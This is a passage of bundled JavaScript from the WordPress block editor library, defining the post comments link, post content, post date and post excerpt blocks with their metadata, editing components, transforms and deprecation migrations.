        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    style: &quot;wp-block-post-comments-link&quot;
  };

  // packages/block-library/build-module/post-comments-link/edit.mjs
  var import_block_editor187 = __toESM(require_block_editor(), 1);
  var import_element94 = __toESM(require_element(), 1);
  var import_data102 = __toESM(require_data(), 1);
  var import_api_fetch4 = __toESM(require_api_fetch(), 1);
  var import_url18 = __toESM(require_url(), 1);
  var import_i18n165 = __toESM(require_i18n(), 1);
  var import_core_data57 = __toESM(require_core_data(), 1);
  var import_jsx_runtime363 = __toESM(require_jsx_runtime(), 1);
  function PostCommentsLinkEdit({ context }) {
    const { postType, postId } = context;
    const [commentsCount, setCommentsCount] = (0, import_element94.useState)();
    const blockProps = (0, import_block_editor187.useBlockProps)();
    (0, import_element94.useEffect)(() =&gt; {
      if (!postId) {
        return;
      }
      const currentPostId = postId;
      (0, import_api_fetch4.default)({
        path: (0, import_url18.addQueryArgs)(&quot;/wp/v2/comments&quot;, {
          post: postId
        }),
        parse: false
      }).then((res) =&gt; {
        if (currentPostId === postId) {
          setCommentsCount(res.headers.get(&quot;X-WP-Total&quot;));
        }
      });
    }, [postId]);
    const post = (0, import_data102.useSelect)(
      (select9) =&gt; select9(import_core_data57.store).getEditedEntityRecord(
        &quot;postType&quot;,
        postType,
        postId
      ),
      [postType, postId]
    );
    let commentsText;
    if (commentsCount !== void 0) {
      const commentsNumber = parseInt(commentsCount);
      if (commentsNumber === 0) {
        commentsText = (0, import_i18n165.__)(&quot;No comments&quot;);
      } else {
        commentsText = (0, import_i18n165.sprintf)(
          /* translators: %s: Number of comments */
          (0, import_i18n165._n)(&quot;%s comment&quot;, &quot;%s comments&quot;, commentsNumber),
          commentsNumber.toLocaleString()
        );
      }
    }
    return /* @__PURE__ */ (0, import_jsx_runtime363.jsx)(&quot;div&quot;, { ...blockProps, children: post?.link &amp;&amp; commentsText !== void 0 ? /* @__PURE__ */ (0, import_jsx_runtime363.jsx)(
      &quot;a&quot;,
      {
        href: post?.link + &quot;#comments&quot;,
        onClick: (event) =&gt; event.preventDefault(),
        children: commentsText
      }
    ) : /* @__PURE__ */ (0, import_jsx_runtime363.jsx)(
      &quot;a&quot;,
      {
        href: &quot;#post-comments-link-pseudo-link&quot;,
        onClick: (event) =&gt; event.preventDefault(),
        children: (0, import_i18n165.__)(&quot;No comments&quot;)
      }
    ) });
  }
  var edit_default28 = PostCommentsLinkEdit;

  // packages/block-library/build-module/post-comments-link/transforms.mjs
  var import_blocks82 = __toESM(require_blocks(), 1);
  var transforms24 = {
    to: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/post-comments-count&quot;],
        transform: ({ style: style2 }) =&gt; {
          const textAlign = style2?.typography?.textAlign;
          return (0, import_blocks82.createBlock)(&quot;core/post-comments-count&quot;, {
            ...textAlign &amp;&amp; {
              style: {
                typography: {
                  textAlign
                }
              }
            }
          });
        }
      }
    ]
  };
  var transforms_default25 = transforms24;

  // packages/block-library/build-module/post-comments-link/deprecated.mjs
  var v129 = {
    attributes: {
      textAlign: {
        type: &quot;string&quot;
      }
    },
    supports: {
      anchor: true,
      html: false,
      spacing: {
        margin: true,
        padding: true
      },
      color: {
        link: true,
        text: false,
        __experimentalDefaultControls: {
          background: true,
          link: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    migrate: migrate_text_align_default,
    isEligible(attributes2) {
      return !!attributes2.textAlign || !!attributes2.className?.match(
        /\bhas-text-align-(left|center|right)\b/
      );
    },
    save: () =&gt; null
  };
  var deprecated_default34 = [v129];

  // packages/block-library/build-module/post-comments-link/index.mjs
  var { name: name72 } = block_default71;
  var settings71 = {
    edit: edit_default28,
    icon: post_comments_count_default,
    transforms: transforms_default25,
    deprecated: deprecated_default34
  };
  var init71 = () =&gt; initBlock({ name: name72, metadata: block_default71, settings: settings71 });

  // packages/block-library/build-module/post-content/index.mjs
  var post_content_exports = {};
  __export(post_content_exports, {
    init: () =&gt; init72,
    metadata: () =&gt; block_default72,
    name: () =&gt; name73,
    settings: () =&gt; settings72
  });

  // packages/block-library/build-module/post-content/block.json
  var block_default72 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/post-content&quot;,
    title: &quot;Content&quot;,
    category: &quot;theme&quot;,
    description: &quot;Displays the contents of a post or page.&quot;,
    textdomain: &quot;default&quot;,
    usesContext: [&quot;postId&quot;, &quot;postType&quot;, &quot;queryId&quot;],
    attributes: {
      tagName: {
        type: &quot;string&quot;,
        default: &quot;div&quot;
      }
    },
    example: {
      viewportWidth: 350
    },
    supports: {
      anchor: true,
      align: [&quot;wide&quot;, &quot;full&quot;],
      html: false,
      layout: true,
      background: {
        backgroundImage: true,
        backgroundSize: true,
        __experimentalDefaultControls: {
          backgroundImage: true
        }
      },
      dimensions: {
        minHeight: true
      },
      spacing: {
        blockGap: true,
        padding: true,
        margin: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      color: {
        gradients: true,
        heading: true,
        link: true,
        __experimentalDefaultControls: {
          background: false,
          text: false
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    style: &quot;wp-block-post-content&quot;,
    editorStyle: &quot;wp-block-post-content-editor&quot;
  };

  // packages/block-library/build-module/post-content/edit.mjs
  var import_i18n166 = __toESM(require_i18n(), 1);
  var import_block_editor188 = __toESM(require_block_editor(), 1);
  var import_blocks83 = __toESM(require_blocks(), 1);
  var import_core_data58 = __toESM(require_core_data(), 1);
  var import_data103 = __toESM(require_data(), 1);
  var import_element95 = __toESM(require_element(), 1);
  var import_jsx_runtime364 = __toESM(require_jsx_runtime(), 1);
  var { HTMLElementControl: HTMLElementControl5 } = unlock(import_block_editor188.privateApis);
  function ReadOnlyContent({
    parentLayout,
    layoutClassNames,
    userCanEdit,
    postType,
    postId,
    tagName: TagName2 = &quot;div&quot;
  }) {
    const [, , content] = (0, import_core_data58.useEntityProp)(
      &quot;postType&quot;,
      postType,
      &quot;content&quot;,
      postId
    );
    const blockProps = (0, import_block_editor188.useBlockProps)({ className: layoutClassNames });
    const blocks = (0, import_element95.useMemo)(() =&gt; {
      return content?.raw ? (0, import_blocks83.parse)(content.raw) : [];
    }, [content?.raw]);
    const blockPreviewProps = (0, import_block_editor188.__experimentalUseBlockPreview)({
      blocks,
      props: blockProps,
      layout: parentLayout
    });
    if (userCanEdit) {
      return /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(&quot;div&quot;, { ...blockPreviewProps });
    }
    return content?.protected ? /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(TagName2, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(import_block_editor188.Warning, { children: (0, import_i18n166.__)(&quot;This content is password protected.&quot;) }) }) : /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(
      TagName2,
      {
        ...blockProps,
        dangerouslySetInnerHTML: { __html: content?.rendered }
      }
    );
  }
  function EditableContent({ context = {}, tagName: TagName2 = &quot;div&quot; }) {
    const { postType, postId } = context;
    const [blocks, onInput, onChange] = (0, import_core_data58.useEntityBlockEditor)(
      &quot;postType&quot;,
      postType,
      { id: postId }
    );
    const entityRecord = (0, import_data103.useSelect)(
      (select9) =&gt; {
        return select9(import_core_data58.store).getEntityRecord(
          &quot;postType&quot;,
          postType,
          postId
        );
      },
      [postType, postId]
    );
    const hasInnerBlocks = !!entityRecord?.content?.raw || blocks?.length;
    const initialInnerBlocks = [[&quot;core/paragraph&quot;]];
    const props = (0, import_block_editor188.useInnerBlocksProps)(
      (0, import_block_editor188.useBlockProps)({ className: &quot;entry-content&quot; }),
      {
        value: blocks,
        onInput,
        onChange,
        template: !hasInnerBlocks ? initialInnerBlocks : void 0
      }
    );
    return /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(TagName2, { ...props });
  }
  function Content(props) {
    const {
      context: { queryId, postType, postId } = {},
      layoutClassNames,
      tagName
    } = props;
    const userCanEdit = useCanEditEntity(&quot;postType&quot;, postType, postId);
    if (userCanEdit === void 0) {
      return null;
    }
    const isDescendentOfQueryLoop = Number.isFinite(queryId);
    const isEditable = userCanEdit &amp;&amp; !isDescendentOfQueryLoop;
    return isEditable ? /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(EditableContent, { ...props }) : /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(
      ReadOnlyContent,
      {
        parentLayout: props.parentLayout,
        layoutClassNames,
        userCanEdit,
        postType,
        postId,
        tagName
      }
    );
  }
  function Placeholder16({ layoutClassNames }) {
    const blockProps = (0, import_block_editor188.useBlockProps)({ className: layoutClassNames });
    return /* @__PURE__ */ (0, import_jsx_runtime364.jsxs)(&quot;div&quot;, { ...blockProps, children: [
      /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(&quot;p&quot;, { children: (0, import_i18n166.__)(
        &quot;This is the Content block, it will display all the blocks in any single post or page.&quot;
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(&quot;p&quot;, { children: (0, import_i18n166.__)(
        &quot;That might be a simple arrangement like consecutive paragraphs in a blog post, or a more elaborate composition that includes image galleries, videos, tables, columns, and any other block types.&quot;
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(&quot;p&quot;, { children: (0, import_i18n166.__)(
        &quot;If there are any Custom Post Types registered at your site, the Content block can display the contents of those entries as well.&quot;
      ) })
    ] });
  }
  function RecursionError() {
    const blockProps = (0, import_block_editor188.useBlockProps)();
    return /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(import_block_editor188.Warning, { children: (0, import_i18n166.__)(&quot;Block cannot be rendered inside itself.&quot;) }) });
  }
  function PostContentEditControls({ tagName, onSelectTagName, clientId }) {
    return /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(import_block_editor188.InspectorControls, { group: &quot;advanced&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(
      HTMLElementControl5,
      {
        tagName,
        onChange: onSelectTagName,
        clientId,
        options: [
          { label: (0, import_i18n166.__)(&quot;Default (&lt;div&gt;)&quot;), value: &quot;div&quot; },
          { label: &quot;&lt;main&gt;&quot;, value: &quot;main&quot; },
          { label: &quot;&lt;section&gt;&quot;, value: &quot;section&quot; },
          { label: &quot;&lt;article&gt;&quot;, value: &quot;article&quot; }
        ]
      }
    ) });
  }
  function PostContentEdit({
    context,
    attributes: { tagName = &quot;div&quot; },
    setAttributes,
    clientId,
    __unstableLayoutClassNames: layoutClassNames,
    __unstableParentLayout: parentLayout
  }) {
    const { postId: contextPostId, postType: contextPostType } = context;
    const hasAlreadyRendered = (0, import_block_editor188.useHasRecursion)(contextPostId);
    if (contextPostId &amp;&amp; contextPostType &amp;&amp; hasAlreadyRendered) {
      return /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(RecursionError, {});
    }
    const handleSelectTagName = (value) =&gt; {
      setAttributes({ tagName: value });
    };
    return /* @__PURE__ */ (0, import_jsx_runtime364.jsxs)(import_jsx_runtime364.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(
        PostContentEditControls,
        {
          tagName,
          onSelectTagName: handleSelectTagName,
          clientId
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(import_block_editor188.RecursionProvider, { uniqueId: contextPostId, children: contextPostId &amp;&amp; contextPostType ? /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(
        Content,
        {
          context,
          parentLayout,
          layoutClassNames
        }
      ) : /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(Placeholder16, { layoutClassNames }) })
    ] });
  }

  // packages/block-library/build-module/post-content/index.mjs
  var { name: name73 } = block_default72;
  var settings72 = {
    icon: post_content_default,
    edit: PostContentEdit
  };
  var init72 = () =&gt; initBlock({ name: name73, metadata: block_default72, settings: settings72 });

  // packages/block-library/build-module/post-date/index.mjs
  var post_date_exports = {};
  __export(post_date_exports, {
    init: () =&gt; init73,
    metadata: () =&gt; block_default73,
    name: () =&gt; name74,
    settings: () =&gt; settings73
  });

  // packages/block-library/build-module/post-date/block.json
  var block_default73 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/post-date&quot;,
    title: &quot;Date&quot;,
    category: &quot;theme&quot;,
    description: &quot;Display a custom date.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      datetime: {
        type: &quot;string&quot;,
        role: &quot;content&quot;
      },
      textAlign: {
        type: &quot;string&quot;
      },
      format: {
        type: &quot;string&quot;
      },
      isLink: {
        type: &quot;boolean&quot;,
        default: false,
        role: &quot;content&quot;
      }
    },
    usesContext: [&quot;postId&quot;, &quot;postType&quot;, &quot;queryId&quot;],
    example: {
      viewportWidth: 350
    },
    supports: {
      anchor: true,
      html: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    }
  };

  // packages/block-library/build-module/post-date/edit.mjs
  var import_core_data59 = __toESM(require_core_data(), 1);
  var import_element96 = __toESM(require_element(), 1);
  var import_date3 = __toESM(require_date(), 1);
  var import_block_editor189 = __toESM(require_block_editor(), 1);
  var import_components108 = __toESM(require_components(), 1);
  var import_i18n167 = __toESM(require_i18n(), 1);
  var import_keycodes8 = __toESM(require_keycodes(), 1);
  var import_data104 = __toESM(require_data(), 1);
  var import_blocks84 = __toESM(require_blocks(), 1);
  var import_jsx_runtime365 = __toESM(require_jsx_runtime(), 1);
  function PostDateEdit({
    attributes: attributes2,
    context: { postType: postTypeSlug, queryId },
    setAttributes,
    name: name123
  }) {
    const { datetime, textAlign, format: format3, isLink } = attributes2;
    const blockProps = (0, import_block_editor189.useBlockProps)({
      className: clsx_default({
        [`has-text-align-${textAlign}`]: textAlign
      })
    });
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const [popoverAnchor, setPopoverAnchor] = (0, import_element96.useState)(null);
    const popoverProps = (0, import_element96.useMemo)(
      () =&gt; ({ anchor: popoverAnchor }),
      [popoverAnchor]
    );
    const { __unstableMarkNextChangeAsNotPersistent } = (0, import_data104.useDispatch)(import_block_editor189.store);
    (0, import_element96.useEffect)(() =&gt; {
      if (datetime === void 0) {
        __unstableMarkNextChangeAsNotPersistent();
        setAttributes({ datetime: /* @__PURE__ */ new Date() });
      }
    }, [datetime]);
    const isDescendentOfQueryLoop = Number.isFinite(queryId);
    const dateSettings = (0, import_date3.getSettings)();
    const {
      postType,
      siteFormat = dateSettings.formats.date,
      siteTimeFormat = dateSettings.formats.time
    } = (0, import_data104.useSelect)(
      (select9) =&gt; {
        const { getPostType, getEntityRecord } = select9(import_core_data59.store);
        const siteSettings = getEntityRecord(&quot;root&quot;, &quot;site&quot;);
        return {
          siteFormat: siteSettings?.date_format,
          siteTimeFormat: siteSettings?.time_format,
          postType: postTypeSlug ? getPostType(postTypeSlug) : null
        };
      },
      [postTypeSlug]
    );
    const activeBlockVariationName = (0, import_data104.useSelect)(
      (select9) =&gt; select9(import_blocks84.store).getActiveBlockVariation(name123, attributes2)?.name,
      [name123, attributes2]
    );
    const blockEditingMode = (0, import_block_editor189.useBlockEditingMode)();
    let postDate2 = /* @__PURE__ */ (0, import_jsx_runtime365.jsx)(&quot;time&quot;, { dateTime: (0, import_date3.dateI18n)(&quot;c&quot;, datetime), ref: setPopoverAnchor, children: format3 === &quot;human-diff&quot; ? (0, import_date3.humanTimeDiff)(datetime) : (0, import_date3.dateI18n)(format3 || siteFormat, datetime) });
    if (isLink &amp;&amp; datetime) {
      postDate2 = /* @__PURE__ */ (0, import_jsx_runtime365.jsx)(
        &quot;a&quot;,
        {
          href: &quot;#post-date-pseudo-link&quot;,
          onClick: (event) =&gt; event.preventDefault(),
          children: postDate2
        }
      );
    }
    return /* @__PURE__ */ (0, import_jsx_runtime365.jsxs)(import_jsx_runtime365.Fragment, { children: [
      (blockEditingMode === &quot;default&quot; || !isDescendentOfQueryLoop) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime365.jsxs)(import_block_editor189.BlockControls, { group: &quot;block&quot;, children: [
        /* @__PURE__ */ (0, import_jsx_runtime365.jsx)(
          import_block_editor189.AlignmentControl,
          {
            value: textAlign,
            onChange: (nextAlign) =&gt; {
              setAttributes({ textAlign: nextAlign });
            }
          }
        ),
        activeBlockVariationName !== &quot;post-date-modified&quot; &amp;&amp; (!isDescendentOfQueryLoop || !activeBlockVariationName) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime365.jsx)(import_components108.ToolbarGroup, { children: /* @__PURE__ */ (0, import_jsx_runtime365.jsx)(
          import_components108.Dropdown,
          {
            popoverProps,
            renderContent: ({ onClose }) =&gt; /* @__PURE__ */ (0, import_jsx_runtime365.jsx)(
              import_block_editor189.__experimentalPublishDateTimePicker,
              {
                title: activeBlockVariationName === &quot;post-date&quot; ? (0, import_i18n167.__)(&quot;Publish Date&quot;) : (0, import_i18n167.__)(&quot;Date&quot;),
                currentDate: datetime,
                onChange: (newDatetime) =&gt; setAttributes({
                  datetime: newDatetime
                }),
                is12Hour: is12HourFormat(
                  siteTimeFormat
                ),
                onClose,
                dateOrder: (
                  /* translators: Order of day, month, and year. Available formats are &#039;dmy&#039;, &#039;mdy&#039;, and &#039;ymd&#039;. */
                  (0, import_i18n167._x)(&quot;dmy&quot;, &quot;date order&quot;)
                )
              }
            ),
            renderToggle: ({ isOpen, onToggle }) =&gt; {
              const openOnArrowDown = (event) =&gt; {
                if (!isOpen &amp;&amp; event.keyCode === import_keycodes8.DOWN) {
                  event.preventDefault();
                  onToggle();
                }
              };
              return /* @__PURE__ */ (0, import_jsx_runtime365.jsx)(
                import_components108.ToolbarButton,
                {
                  &quot;aria-expanded&quot;: isOpen,
                  icon: pencil_default,
                  title: (0, import_i18n167.__)(&quot;Change Date&quot;),
                  onClick: onToggle,
                  onKeyDown: openOnArrowDown
                }
              );
            }
          }
        ) })
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime365.jsx)(import_block_editor189.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime365.jsxs)(
        import_components108.__experimentalToolsPanel,
        {
          label: (0, import_i18n167.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({
              datetime: void 0,
              format: void 0,
              isLink: false
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime365.jsx)(
              import_components108.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !!format3,
                label: (0, import_i18n167.__)(&quot;Date Format&quot;),
                onDeselect: () =&gt; setAttributes({ format: void 0 }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime365.jsx)(
                  import_block_editor189.__experimentalDateFormatPicker,
                  {
                    format: format3,
                    defaultFormat: siteFormat,
                    onChange: (nextFormat) =&gt; setAttributes({ format: nextFormat })
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime365.jsx)(
              import_components108.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; isLink !== false,
                label: postType?.labels.singular_name ? (0, import_i18n167.sprintf)(
                  // translators: %s: Name of the post type e.g: &quot;post&quot;.
                  (0, import_i18n167.__)(&quot;Link to %s&quot;),
                  postType.labels.singular_name.toLowerCase()
                ) : (0, import_i18n167.__)(&quot;Link to post&quot;),
                onDeselect: () =&gt; setAttributes({ isLink: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime365.jsx)(
                  import_components108.ToggleControl,
                  {
                    label: postType?.labels.singular_name ? (0, import_i18n167.sprintf)(
                      // translators: %s: Name of the post type e.g: &quot;post&quot;.
                      (0, import_i18n167.__)(&quot;Link to %s&quot;),
                      postType.labels.singular_name.toLowerCase()
                    ) : (0, import_i18n167.__)(&quot;Link to post&quot;),
                    onChange: () =&gt; setAttributes({ isLink: !isLink }),
                    checked: isLink
                  }
                )
              }
            )
          ]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime365.jsx)(&quot;div&quot;, { ...blockProps, children: postDate2 })
    ] });
  }
  function is12HourFormat(format3) {
    return /(?:^|[^\\])[aAgh]/.test(format3);
  }

  // packages/block-library/build-module/post-date/deprecated.mjs
  var v38 = {
    attributes: {
      datetime: {
        type: &quot;string&quot;,
        role: &quot;content&quot;
      },
      textAlign: {
        type: &quot;string&quot;
      },
      format: {
        type: &quot;string&quot;
      },
      isLink: {
        type: &quot;boolean&quot;,
        default: false,
        role: &quot;content&quot;
      }
    },
    supports: {
      html: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    save() {
      return null;
    },
    migrate({
      metadata: {
        bindings: {
          datetime: {
            source,
            args: { key, ...otherArgs }
          },
          ...otherBindings
        },
        ...otherMetadata
      },
      ...otherAttributes
    }) {
      return {
        metadata: {
          bindings: {
            datetime: {
              source,
              args: { field: key, ...otherArgs }
            },
            ...otherBindings
          },
          ...otherMetadata
        },
        ...otherAttributes
      };
    },
    isEligible(attributes2) {
      return attributes2?.metadata?.bindings?.datetime?.source === &quot;core/post-data&quot; &amp;&amp; !!attributes2?.metadata?.bindings?.datetime?.args?.key;
    }
  };
  var v213 = {
    attributes: {
      textAlign: {
        type: &quot;string&quot;
      },
      format: {
        type: &quot;string&quot;
      },
      isLink: {
        type: &quot;boolean&quot;,
        default: false,
        role: &quot;content&quot;
      },
      displayType: {
        type: &quot;string&quot;,
        default: &quot;date&quot;
      }
    },
    supports: {
      html: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    save() {
      return null;
    },
    migrate({ className, displayType, metadata, ...otherAttributes }) {
      if (displayType === &quot;date&quot; || displayType === &quot;modified&quot;) {
        if (displayType === &quot;modified&quot;) {
          className = clsx_default(
            className,
            &quot;wp-block-post-date__modified-date&quot;
          );
        }
        return {
          ...otherAttributes,
          className,
          metadata: {
            ...metadata,
            bindings: {
              datetime: {
                source: &quot;core/post-data&quot;,
                args: { field: displayType }
              }
            }
          }
        };
      }
    },
    isEligible(attributes2) {
      return !attributes2.datetime &amp;&amp; !attributes2?.metadata?.bindings?.datetime;
    }
  };
  var v130 = {
    attributes: {
      textAlign: {
        type: &quot;string&quot;
      },
      format: {
        type: &quot;string&quot;
      },
      isLink: {
        type: &quot;boolean&quot;,
        default: false
      }
    },
    supports: {
      html: false,
      color: {
        gradients: true,
        link: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalLetterSpacing: true
      }
    },
    save() {
      return null;
    },
    migrate: migrate_font_family_default,
    isEligible({ style: style2 }) {
      return style2?.typography?.fontFamily;
    }
  };
  var deprecated_default35 = [v38, v213, v130];

  // packages/block-library/build-module/post-date/variations.mjs
  var import_i18n168 = __toESM(require_i18n(), 1);
  var variations10 = [
    {
      name: &quot;post-date&quot;,
      title: (0, import_i18n168.__)(&quot;Post Date&quot;),
      description: (0, import_i18n168.__)(&quot;Display a post&#039;s publish date.&quot;),
      attributes: {
        metadata: {
          bindings: {
            datetime: {
              source: &quot;core/post-data&quot;,
              args: { field: &quot;date&quot; }
            }
          }
        }
      },
      scope: [&quot;inserter&quot;, &quot;transform&quot;],
      isActive: (blockAttributes8) =&gt; blockAttributes8?.metadata?.bindings?.datetime?.source === &quot;core/post-data&quot; &amp;&amp; blockAttributes8?.metadata?.bindings?.datetime?.args?.field === &quot;date&quot;
    },
    {
      name: &quot;post-date-modified&quot;,
      title: (0, import_i18n168.__)(&quot;Modified Date&quot;),
      description: (0, import_i18n168.__)(&quot;Display a post&#039;s last updated date.&quot;),
      attributes: {
        metadata: {
          bindings: {
            datetime: {
              source: &quot;core/post-data&quot;,
              args: { field: &quot;modified&quot; }
            }
          }
        },
        className: &quot;wp-block-post-date__modified-date&quot;
      },
      scope: [&quot;inserter&quot;, &quot;transform&quot;],
      isActive: (blockAttributes8) =&gt; blockAttributes8?.metadata?.bindings?.datetime?.source === &quot;core/post-data&quot; &amp;&amp; blockAttributes8?.metadata?.bindings?.datetime?.args?.field === &quot;modified&quot;
    }
  ];
  var variations_default10 = variations10;

  // packages/block-library/build-module/post-date/index.mjs
  var { name: name74 } = block_default73;
  var settings73 = {
    icon: post_date_default,
    edit: PostDateEdit,
    deprecated: deprecated_default35,
    variations: variations_default10
  };
  var init73 = () =&gt; initBlock({ name: name74, metadata: block_default73, settings: settings73 });

  // packages/block-library/build-module/post-excerpt/index.mjs
  var post_excerpt_exports = {};
  __export(post_excerpt_exports, {
    init: () =&gt; init74,
    metadata: () =&gt; block_default74,
    name: () =&gt; name75,
    settings: () =&gt; settings74
  });

  // packages/block-library/build-module/post-excerpt/block.json
  var block_default74 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/post-excerpt&quot;,
    title: &quot;Excerpt&quot;,
    category: &quot;theme&quot;,
    description: &quot;Display the excerpt.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      textAlign: {
        type: &quot;string&quot;
      },
      moreText: {
        type: &quot;string&quot;,
        role: &quot;content&quot;
      },
      showMoreOnNewLine: {
        type: &quot;boolean&quot;,
        default: true
      },
      excerptLength: {
        type: &quot;number&quot;,
        default: 55
      }
    },
    usesContext: [&quot;postId&quot;, &quot;postType&quot;, &quot;queryId&quot;],
    example: {
      viewportWidth: 350
    },
    supports: {
      anchor: true,
      html: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textColumns: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    editorStyle: &quot;wp-block-post-excerpt-editor&quot;,
    style: &quot;wp-block-post-excerpt&quot;
  };

  // packages/block-library/build-module/post-excerpt/edit.mjs
  var import_core_data60 = __toESM(require_core_data(), 1);
  var import_element97 = __toESM(require_element(), 1);
  var import_block_editor190 = __toESM(require_block_editor(), 1);
  var import_components109 = __toESM(require_components(), 1);
  var import_i18n169 = __toESM(require_i18n(), 1);
  var import_data105 = __toESM(require_data(), 1);
  var import_jsx_runtime366 = __toESM(require_jsx_runtime(), 1);
  var ELLIPSIS = &quot;\u2026&quot;;
  function PostExcerptEditor({
    attributes: { textAlign, moreText, showMoreOnNewLine, excerptLength },
    setAttributes,
    isSelected,
    context: { postId, postType, queryId }
  }) {
